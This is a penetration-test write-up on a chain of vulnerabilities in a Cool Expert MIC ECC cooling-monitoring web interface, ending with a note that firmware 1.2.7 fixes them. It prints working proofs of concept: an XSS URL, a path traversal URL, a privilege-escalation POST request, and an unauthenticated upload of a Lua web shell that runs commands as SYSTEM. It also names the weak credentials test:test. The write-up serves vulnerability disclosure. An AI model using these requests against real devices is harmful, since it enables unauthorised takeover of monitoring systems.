This is a short story about a critical vulnerability in an embedded device that was discovered during an external pentest. It all began with a basic XSS vulnerability reported by Nessus. The website in question turned out to be the web interface of a Cool Expert MIC ECC device. According to the vendors homepage it is a monitoring and remote maintenance solution for cooling chambers.
Unauthenticated Cross-site Scripting
Upon opening the website it was immediately clear that the vulnerability was not a false positive. The reflected XSS was caused by missing sanitization of the site
parameter in /index.lp
. Furthermore, no Content Security Policy was present and the xwsID
session cookie did not have the HttpOnly
flag set. This means that old-school session hijacking through a malicious link would have been possible.
Proof of concept to pop an alert box:
http://REDACTED/index.lp?site=<script>alert(1)</script>

Often, such a vulnerability is only the tip of the iceberg, so it was apparent that the website warranted a closer look. Because Google did not turn up any default credentials, some generic username and password combinations were tested. Surprisingly, the credentials test:test
were actually valid.

Unauthenticated Path Traversal
Now, Burp Suite was fired up to inspect the requests sent by the web interface. One of the pages provided a download link to a PDF manual. The link pointed to the /download.lp
endpoint and specified an absolute path in the file
parameter. Not only were no path restrictions implemented, but the endpoint also did not require authentication.
Proof of concept to read C:\windows\system32\drivers\etc\hosts
:
http://REDACTED/download.lp?file=C%3a/windows/system32/drivers/etc/hosts

Privilege Escalation from User to Administrator
After looking around further, the profile page revealed that the test
user only had low privileges. The page also displayed an option to edit the profile. The corresponding POST request to /load.lp
contained two interesting parameters called level
and devMode
. After playing around with their integer values and making a few requests, test
was administrator.
Proof of concept to change the role to admin by setting level=20
and devMode=1
:
{title="test"}
POST /load.lp?url=modules%2Fuser%2FgetEditUser&cmd=save&userGuid=6&noCache=1659354728951 HTTP/1.1
Host: REDACTED
Content-type: application/x-www-form-urlencoded; charset=utf-8
Content-Length: 299
Cookie: xwsID=7XOOubWnPqwc7d;
login=test&level=20&enableLogin=1&globalVisible=1&desc=Test&name=&company=&dep=&address=&email=&phone1AreaCode=%2B49&phone1=&phone2AreaCode=%2B49&phone2=&faxAreaCode=%2B49&fax=&web=&conf_language=sysdef&injectDefaultLocale=1&devMode=1&showDev=1&conf_tempScale=0&reqAlarmRemark=1&reqAlarmValidation=1

Unrestricted File Upload
With the freshly gained admin privileges a new possibility opened up. The page where the PDF manual could be downloaded now also showed a file upload button.
At this point the programming language of the backend was still unknown, so the path traversal was used to download index.lp
. This revealed that Lua was the language of choice.
The /request.lp
endpoint did not check the file extension and there was even a parameter to specify the destination directory. The next step was to adapt the Lua example from GTFOBins to execute whoami /all
. This showed that the webserver was running as NT Authority\SYSTEM
.
Authentication Bypass
After skimming the source code, the following snippet was spotted at the top of static/requests/upload.lp
:
if _G.argsIn.source=="doc" and not auth.validatePriv('m.docs.upload') then
_G.ret = false
_G.msg = "invalid priv"
return
end
This meant that the authentication on the file upload endpoint could easily be bypassed by setting the source
parameter to anything else than doc
. The result is unauthenticated remote code execution, which can be achieved with the following HTTP request:
POST /request.lp?url=static%2Frequests%2Fupload&cmd=&source=aaa HTTP/1.1
Host: REDACTED
Content-Type: multipart/form-data; boundary=---------------------------36243873633188206127146769673
Content-Length: 818
-----------------------------36243873633188206127146769673
Content-Disposition: form-data; name="path"
C:/Windows/ce/eec/htdocs
-----------------------------36243873633188206127146769673
Content-Disposition: form-data; name="file_0"; filename="sva-dd6c9eb3.lp"
Content-Type: application/octet-stream
<%
local handle = io.popen("whoami /all")
local result = handle:read("*a")
handle:close()
cgilua.put("<pre>" .. result .. "</pre>")
%>
-----------------------------36243873633188206127146769673
Content-Disposition: form-data; name="file_1"; filename=""
Content-Type: application/octet-stream
-----------------------------36243873633188206127146769673
Content-Disposition: form-data; name="file_2"; filename=""
Content-Type: application/octet-stream
-----------------------------36243873633188206127146769673--

Disclosure
The tested device was running firmware version 1.2.2, which was already outdated at the time the test was conducted. Cool Expert fixed the vulnerabilities in version 1.2.7 and pushed them out to their customers trough automatic updates.